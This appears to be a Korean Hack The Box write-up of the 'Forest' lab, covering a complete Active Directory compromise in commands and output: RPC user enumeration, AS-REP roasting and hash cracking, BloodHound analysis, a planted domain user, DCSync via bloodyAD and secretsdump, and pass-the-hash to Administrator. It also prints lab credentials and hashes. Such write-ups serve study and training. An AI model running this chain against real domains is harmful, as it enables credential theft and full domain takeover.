▌ TRANSMISSION · [HTB]

[EASY_WINDOWS] Forest write-up

2026-06-08 · smb · rpc · kerberos · as-rep roasting · hash crack · bloodhound · account operators group · domain root object · acl · dacl · exchange windows permissions group · dcsync attack · pass the hash

alt text

우선 타겟 머신 IP로 포트 스캐닝부터 진행하였다.

➜  ~ sudo nmap 10.129.95.210 -sV -sC --open -T4
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-25 17:08 +0900
Nmap scan report for 10.129.95.210
Host is up (0.28s latency).
Not shown: 961 closed tcp ports (reset), 27 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-25 08:16:04Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2026-05-25T01:16:31-07:00
|_clock-skew: mean: 2h26m52s, deviation: 4h02m31s, median: 6m51s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-05-25T08:16:32
|_  start_date: 2026-05-25T08:14:24
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.07 seconds

Windows 운영체제를 사용하고 있고, ldap, kerberos, smb 등등의 서비스가 돌고 있는 것으로 보아, 해당 머신은 AD 환경에서 돌아가는 DC임을 짐작할 수 있다.

hostname은 forest였고, 도메인은 htb.local이다. (/etc/hosts에 ip와 도메인 매핑)

nmap의 smb-security-mode 스크립트 결과에서 account_used: guest를 볼 수 있는데, guest 계정으로 접근을 시도했거나 서버가 요청을 guest로 처리했음을 의미한다.

먼저 nxc로 SMB 접근 가능 여부를 확인해봤는데,

➜  ~ nxc smb 10.129.95.210 -u guest
SMB         10.129.95.210   445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) (Null Auth:True)

접근이 가능했으며, Null Auth: True도 확인할 수 있었다.

공유목록도 확인해봤는데,

➜  ~ nxc smb 10.129.95.210 -u guest --shares
SMB         10.129.95.210   445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.95.210   445    FOREST           [-] Error enumerating shares: Could not get nt error code 91 from impacket: SMB SessionError: unknown error code: 0x5b

공유 목록을 확인하는 것은 실패했다…

smb에서는 더 이상 얻을게 없어서 135포트에서 동작중인 RPC(Remote Procedure Call)로 방향을 틀었다.

RPC (Remote Procedure Call) : 내 컴퓨터에서 원격 서버의 기능/함수를 호출하는 통신 방식

여기서 RPC 접속에 성공한다면 AD의 사용자 목록들을 가져올 수 있을 것이다.

➜  ~ rpcclient -U "" -N 10.129.95.210
rpcclient $>

어? 그냥 바로 접속이 된다… (Null session 취약함 확인)

enumdomusers 명령으로 사용자 목록을 조회해보니 다음과 같은 유저정보들을 얻을 수 있었다.

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

nmap 결과에서 Kerberos 서비스인 88/tcp가 열려있었으므로, 사용자 목록을 기반으로 Kerberos 관련 공격을 시도해볼 수 있다.

Kerberos : AS-REP Roasting 참고

간단하게 AS-REP Roasting 에 대해 설명하자면…

AS-REP Roasting

기본적으로 Kerberos는 아무나 AS-REP(TGT)을 받아갈 수 없도록 pre-authentication을 요구한다.

pre-authentication : 사용자의 비밀번호에서 파생된 키로 현재 시간 정보를 암호화한 것(계정의 패스워드를 알고 있다는 것을 증명하기 위함)

하지만 AD 계정 중에는 다음 옵션이 켜져있는 경우가 있다.

Do not require Kerberos preauthentication

이 설정이 켜진 계정은 pre-authentication 없이도 AS-REP을 받을 수 있다.

여기서 중요한 점은 요청할 때 분명 password를 사용하지 않았지만, 응답에는 password, 정확하게는 password에서 파생된 키로 암호화된 데이터가 포함되어있다는 점이다.

이를 오프라인 크랙을 진행하여 평문 패스워드를 알아내는 공격을 AS-REP Roasting이라고 한다.

다시 문제로 돌아가서…

impacket-GetNPUsers 를 이용하면, pre-authentication이 비활성화된 계정이 있는지 확인할 수 있다.

우선 방금 얻은 유저 목록들을 user.txt 로 저장해주었다.

➜  forest cat user.txt
Administrator
Guest
krbtgt
DefaultAccount
$331000-VK4ADACQNUCA
SM_2c8eef0a09b545acb
SM_ca8c2ed5bdab4dc9b
SM_75a538d3025e4db9a
SM_681f53d4942840e18
SM_1b41c9286325456bb
SM_9b69f1b9d2cc45549
SM_7c96b981967141ebb
SM_c75ee099d0a64c91b
SM_1ffab36a2f5f479cb
HealthMailboxc3d7722
HealthMailboxfc9daad
HealthMailboxc0a90c9
HealthMailbox670628e
HealthMailbox968e74d
HealthMailbox6ded678
HealthMailbox83d6781
HealthMailboxfd87238
HealthMailboxb01ac64
HealthMailbox7108a4e
HealthMailbox0659cc1
sebastien
lucinda
svc-alfresco
andy
mark
santi

그리고 다음과 impacket-GetNPUsers 명령을 사용해주었다.

impacket-GetNPUsers htb.local/ -dc-ip 10.129.95.210 -usersfile user.txt -no-pass

➜  forest impacket-GetNPUsers htb.local/ -dc-ip 10.129.95.210 -usersfile user.txt -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:96acd06c97e2f309663df56dca68c823$d6ea99184760013ec7b3de5df8b865cda7d284e7743e8f5f504f91c66caf44af158b5292870e01a3790f803465ea0d4d0a5ac62d6393e08e93cfcebf6174156f0a5ff89efaedd6db5f6f04551281136e46c4ef1fe06df2f16506adfb4b74122d6ae8b03751d2990580c3f1f688a3f2badd198707103620a8072977f322346b7d6a0ebd704c1a0c9f931606f7677c04ea01f2157a29abaef037e9d68537ac8f2db9a2547f23ad6b95abc969a745402d0981304029190ccb6f9f4d06289ecb3b3fac7304b4833e9581a75b05f8013f041069e4589758a73a6931983eac64457e1be1207a63b5cc
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set

실행 결과, 다른 계정들은 pre-authentication이 필요했는데, svc-alfresco는 pre-auth가 꺼져있어서 AS-REP 해시를 받아온 모습을 볼 수 있었다.

우선 해당 해시 파일을 저장해주고,

➜  forest echo '$krb5asrep$23$svc-alfresco@HTB.LOCAL:96acd06c97e2f309663df56dca68c823$d6ea99184760013ec7b3de5df8b865cda7d284e7743e8f5f504f91c66caf44af158b5292870e01a3790f803465ea0d4d0a5ac62d6393e08e93cfcebf6174156f0a5ff89efaedd6db5f6f04551281136e46c4ef1fe06df2f16506adfb4b74122d6ae8b03751d2990580c3f1f688a3f2badd198707103620a8072977f322346b7d6a0ebd704c1a0c9f931606f7677c04ea01f2157a29abaef037e9d68537ac8f2db9a2547f23ad6b95abc969a745402d0981304029190ccb6f9f4d06289ecb3b3fac7304b4833e9581a75b05f8013f041069e4589758a73a6931983eac64457e1be1207a63b5cc' > svc-alfresco.hash

hashcat을 이용해 크랙을 진행해주었다.

hashcat -m 18200 svc-alfresco.hash /usr/share/wordlists/rockyou.txt

https://hashcat.net/wiki/doku.php?id=example_hashes : 모드 참고

크랙 결과

alt text

svc-alfresco의 패스워드를 얻을 수 있었다.

svc-alfresco:s3rvice

이렇게 얻은 계정 정보로 다시 smb에 접근을 시도해보았다.

➜  forest nxc smb 10.129.95.210 -u svc-alfresco -p 's3rvice' --shares
SMB         10.129.95.210   445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.95.210   445    FOREST           [+] htb.local\svc-alfresco:s3rvice
SMB         10.129.95.210   445    FOREST           [*] Enumerated shares
SMB         10.129.95.210   445    FOREST           Share           Permissions     Remark
SMB         10.129.95.210   445    FOREST           -----           -----------     ------
SMB         10.129.95.210   445    FOREST           ADMIN$                          Remote Admin
SMB         10.129.95.210   445    FOREST           C$                              Default share
SMB         10.129.95.210   445    FOREST           IPC$            READ            Remote IPC
SMB         10.129.95.210   445    FOREST           NETLOGON        READ            Logon server share
SMB         10.129.95.210   445    FOREST           SYSVOL          READ            Logon server share

공유 목록이 나온다!!

NETLOGON, SYSVOL 에 READ 권한이 있음을 확인할 수 있었는데, 이 두 공유는 도메인 컨트롤러에서 자주 보이는 공유이며, 그룹 정책, 로그인 스크립트, 도메인 관련 파일이 저장될 수 있다.

그래서 NETLOGON과 SYSVOL을 확인하여 추가 자격 증명이나 스크립트, 정책 파일에 민감한 정보가 남아 있는지 확인해볼 수 있다.

그전에 winrm 접속도 가능한지 확인해봤는데,

➜  forest nxc winrm 10.129.95.210 -u svc-alfresco -p s3rvice
WINRM       10.129.95.210   5985   FOREST           [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local)
WINRM       10.129.95.210   5985   FOREST           [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

가능한 것으로 나온다!!

바로 시도해보면,

➜  forest evil-winrm -i 10.129.95.210 -u svc-alfresco -p s3rvice

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>

접속 성공!!

svc-alfresco의 Desktop 디렉터리에서 user flag를 확인할 수 있었다.

*Evil-WinRM* PS C:\Users\svc-alfresco> cd Desktop
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> ls


    Directory: C:\Users\svc-alfresco\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        5/25/2026   1:15 AM             34 user.txt


*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
b169128c13e86a961365c394c34318b6

권한 상승을 노려야할 것 같은데… 일단 어떤 사용자가 있는지 확인해보았다.

*Evil-WinRM* PS C:\Users> ls


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/18/2019  10:09 AM                Administrator
d-r---       11/20/2016   6:39 PM                Public
d-----        9/22/2019   3:29 PM                sebastien
d-----        9/22/2019   4:02 PM                svc-alfresco

sebastien 이라는 유저와 Administrator(관리자)가 있었다.

이것만으로는 부족하니 Bloodhound를 이용해 svc-alfresco가 AD 안에서 어떤 권한/그룹 관계를 가지고 있는지 확인해보기로 했다.

➜  forest bloodhound-python -u 'svc-alfresco' -d 'htb.local' -p 's3rvice' -c all --zip -ns 10.129.95.210 --dns-tcp
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: htb.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Testing resolved hostname connectivity dead:beef::9c
INFO: Trying LDAP connection to dead:beef::9c
INFO: Testing resolved hostname connectivity dead:beef::f8eb:7c19:4e79:4969
INFO: Trying LDAP connection to dead:beef::f8eb:7c19:4e79:4969
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Testing resolved hostname connectivity dead:beef::9c
INFO: Trying LDAP connection to dead:beef::9c
INFO: Testing resolved hostname connectivity dead:beef::f8eb:7c19:4e79:4969
INFO: Trying LDAP connection to dead:beef::f8eb:7c19:4e79:4969
INFO: Found 32 users
INFO: Found 76 groups
INFO: Found 2 gpos
INFO: Found 15 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: EXCH01.htb.local
INFO: Querying computer: FOREST.htb.local
INFO: User ANONYMOUS LOGON is logged in on FOREST.htb.local from 10.10.16.47
WARNING: Failed to resolve SAM name ANONYMOUS LOGON in current forest
INFO: Done in 01M 58S
INFO: Compressing output into 20260525191810_bloodhound.zip

svc-alfresco 계정 증명을 이용해 얻은 정보들을 zip형태로 저장해주었고,

이를 bloodhound로 열어주었다.

alt text

확인 결과, svc-alfresco 계정은 Service accounts 그룹의 멤버였고, 이 그룹은 또 Privileged it accounts 그룹에 속해있으며, 이 그룹은 또 다시 Account operators 그룹에 속해있는 형태였다.

그래서 이 svc-alfresco는 Service accounts 그룹의 권한 뿐만 아니라, Privileged it accounts와 Account operators 그룹의 권한도 간접적으로 가지고 있음을 알 수 있었다.

Account operators group
- https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups

Microsoft 공식 문서에 따른 설명은 다음과 같다.

Account Operators (계정 운영자)

Account Operators 그룹은 사용자에게 제한적인 계정 생성 권한을 부여합니다. 이 그룹의 구성원은 사용자 계정, 로컬 그룹(Local groups), 글로벌 그룹(Global groups)을 포함하여 대부분의 계정 유형을 생성하고 수정할 수 있습니다. 그룹 구성원은 도메인 컨트롤러(Domain Controllers)에 로컬로 로그인할 수 있습니다.

Account Operators 그룹의 구성원은 사용자 권한(User rights)을 수정할 수 없습니다. 또한, 이 그룹의 구성원은 다음 계정 및 그룹을 관리할 수 없습니다.

Administrator (최고 관리자) 사용자 계정

관리자들의 사용자 계정

Administrators (관리자 그룹)

Server Operators (서버 운영자)

Account Operators (계정 운영자)

Backup Operators (백업 운영자)

Print Operators (인쇄 운영자)

이 그룹은 이름을 변경하거나, 삭제하거나, 제거할 수 없습니다.

간단하게, Account Operators는 사용자나 그룹을 만들고 수정할 수 있는 권한을 가진 AD 기본 그룹이다.

이 녀석은 또 여러 그룹, 객체들을 제어할 수 있었고, GenericAll(모든)권한을 가지고 있었다.

여기서 한참 막혀서 claude한테 물어봤는데, bloodhound pathfinding을 이용해 도메인 루트 객체(HTB.LOCAL)를 도착지로 지정하여 최단 경로가 존재하는지 확인해보라고 한다.

그래서 해보니까,

alt text

요렇게 노드 경로들이 정리가 되었다.

결과를 보니 Account operators 그룹에서 뻗어나간 88개의 객체들 중 Exchange Windows Permissions 라는 그룹을 통해 HTB.LOCAL에 도달할 수 있는 것을 알 수 있다.

EWP(Exchange Windows Permissions) 그룹은 도메인 루트 객체 HTB.LOCAL에 대해 WriteDACL 권한을 가지고 있는 것도 확인할 수 있었다.

Exchange Windows Permissions Group

Microsoft Exchange Server를 AD 환경에 설치하면 자동으로 생성되는 보안 그룹으로, Exchange 서비스는 사용자 계정, 그룹 같은 AD 객체를 생성하고 수정할 수 있도록 광범위한 권한을 부여받는다.

https://learn.microsoft.com/en-us/exchange/permissions/split-permissions/split-permissions

ACL과 DACL

이것에 대해 다루기 전에 더 큰 단위로, Security Descriptor라는게 있다.

모든 Windows 객체(파일, 레지스트리, AD 객체)는 이 Security Descriptor를 하나씩 가지고 있다.

Owner : 객체 소유자 SID
Group : 잘 안쓰임..
DACL (Discretionary ACL) : 누가 뭘 할 수 있는지의 목록
SACL (System ACL) : 감사(audit) 설정 목록

ACL (Access Control List)

특정 객체에 대해 누가 어떤 접근 권한을 가지는지를 정의한 권한 목록

권한 제어는 DACL에서 일어나기 때문에 ACL이 언급된다면 거의 DACL을 의미한다고 보면 된다.

DACL은 여러 개의 ACE(Access Control Entry)로 구성된다.

누구한테 (SID)
어떤 권한을 (Access Mask)
Allow 인지 Deny인지
상속 관련 플래그

자 그럼 이번에는 WriteDACL에 대해 이야기를 해보자.

WriteDACL 권한은 어떠한 객체의 DCAL을 수정할 수 있는 권한을 말한다.

그런데 만약 도메인 객체에 이 권한이 있다면? DACL에 새 ACE를 추가할 수 있고, 임의의 사용자에게 도메인 객체에 대한 어떠한 권한이든 부여할 수 있게될 것이다.

그러면 어떤 권한을 부여해야할까…?

공부하면서 알게된건데, bloodhound의 선(edge)에 적힌 권한을 클릭해보면

alt text

이렇게 우측에 메뉴가 나오는데, abuse 탭에서 이 권한을 어떻게 악용 가능한지 확인할 수 있다.

눌렀을 때 가장 첫번째로 다음과 같은 문장이 나온다.

To abuse WriteDacl to a domain object, you may grant yourself DCSync permissions.

도메인 객체에 대한 WriteDacl(보안 권한 쓰기) 권한을 악용하여, 자신의 계정에 DCSync 권한을 부여할 수 있다.

DCSync 권한은 처음 들어보는거라 검색해봤다.

DCSync Attack DCSync는 AD 환경에서 DC끼리 데이터를 동기화할 때 사용하는 복제 프로토콜(MS-DRSR)을 악용하는 공격이다. 충분한 복제 권한을 가진 계정은 일반 사용자라 하더라도 DC에게 “동기화 데이터를 달라”고 요청할 수 있고, DC는 정상 프로토콜 호출로 인식해 사용자 계정 정보(NTLM 해시 포함)를 응답으로 반환한다.

(헐)

해당 공격을 하기 위해서는 복제 권한이 필요하다.

DS-Replication-Get-Changes
DS-Replication-Get-Changes-ALL

이렇게 해서 새워진 시나리오는 다음과 같다.

svc-alfresco를 ExchangeWindows Permissions 그룹에 추가한다. (Account Operators의 GenericAll 권한 사용)
상속된 WriteDacl을 사용해 svc-alfresco에 대한 DS-Replication-Get-Changes와 DS-Replication-Get-Changes-All ACE를 도메인 객체의 DACL에 추가한다.
DCSync 공격을 실행하여 NTDS.dit 내 모든 계정의 해시를 덤프한다. (Administrator 포함)
획득한 Administrator 해시로 권한 상승한다.

시나리오대로 진행해보자!

먼저 EWP 그룹에 추가해주자.

*Evil-WinRM* PS C:\Users> net group "Exchange Windows Permissions" svc-alfresco /add /domain

The command completed successfully.

다음으로 DCSync ACE를 추가해야하는데, bloodyAD라는 툴로 간편하게 추가해줄 수 있었다.

https://github.com/CravateRouge/bloodyAD.git

python3 bloodyAD.py --host 10.129.95.210 -d htb.local -u svc-alfresco -p s3rvice add dcsync svc-alfresco

근데 실제로 수행해보면 권한이 없다고 나온다…

알아보니, svc-alfresco는 이미 Account Operators 같은 privileged group 경로에 걸려있어서, 권한/토큰/보호 그룹 관련 동작으로 막힐 수 있다고 한다…

그래서 새로운 사용자를 만들고 그 사용자를 그룹에 넣어주기로했다.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user m0nk3ygod passw0rd /add /domain

The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" m0nk3ygod /add /domain

The command completed successfully.

잘 들어갔는지 확인까지 해보면,

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" /domain
Group name     Exchange Windows Permissions
Comment        This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service. Its members have permission to read and modify all Windows accounts and groups. This group should not be deleted.

Members

-------------------------------------------------------------------------------
m0nk3ygod
The command completed successfully.

잘들어가있다!! (svc-alfresco 어디갔어 ㅠ)

이제 다시 DCSync를 위한 권한부여를 수행해보면,

➜  bloodyAD git:(main) python3 bloodyAD.py --host 10.129.95.210 -d htb.local -u m0nk3ygod -p passw0rd add dcsync m0nk3ygod
[+] m0nk3ygod is now able to DCSync

요렇게 성공한 모습을 볼 수 있다.

다음으로 MS-DRSR을 악용하여 동기화 덤프를 진행해야하는데, impcaket-secretsdump 를 이용하면 쉽게 가능하다!

impacket-secretsdump htb.local/m0nk3ygod:'passw0rd'@10.129.95.210 -just-dc-user Administrator

impacket의 secretsdump : DC에서 특정 도메인 사용자의 해시를 덤프하는 명령

➜  bloodyAD git:(main) impacket-secretsdump htb.local/m0nk3ygod:'passw0rd'@10.129.95.210 -just-dc-user Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
[*] Cleaning up...

성곡적으로 Administrator의 hash를 얻었다!!

Pass-the-Hash

비밀번호를 몰라도, NTLM 해시만으로 Windows 인증을 통과하는 기법

얻은 해시를 이용해 winrm 접속을 시도해보면,

➜  bloodyAD git:(main) evil-winrm -i 10.129.95.210 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

성공적으로 권한 상승까지 진행할 수 있다.

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
33e89ca0a0b69eb4ca0588f8928b48ed

(이번 문제도 나중에 다시 풀어보며 공부가 필요해보인다… 너무 많은 정보가 또 쏟아저 나오는…)

← ALL POSTS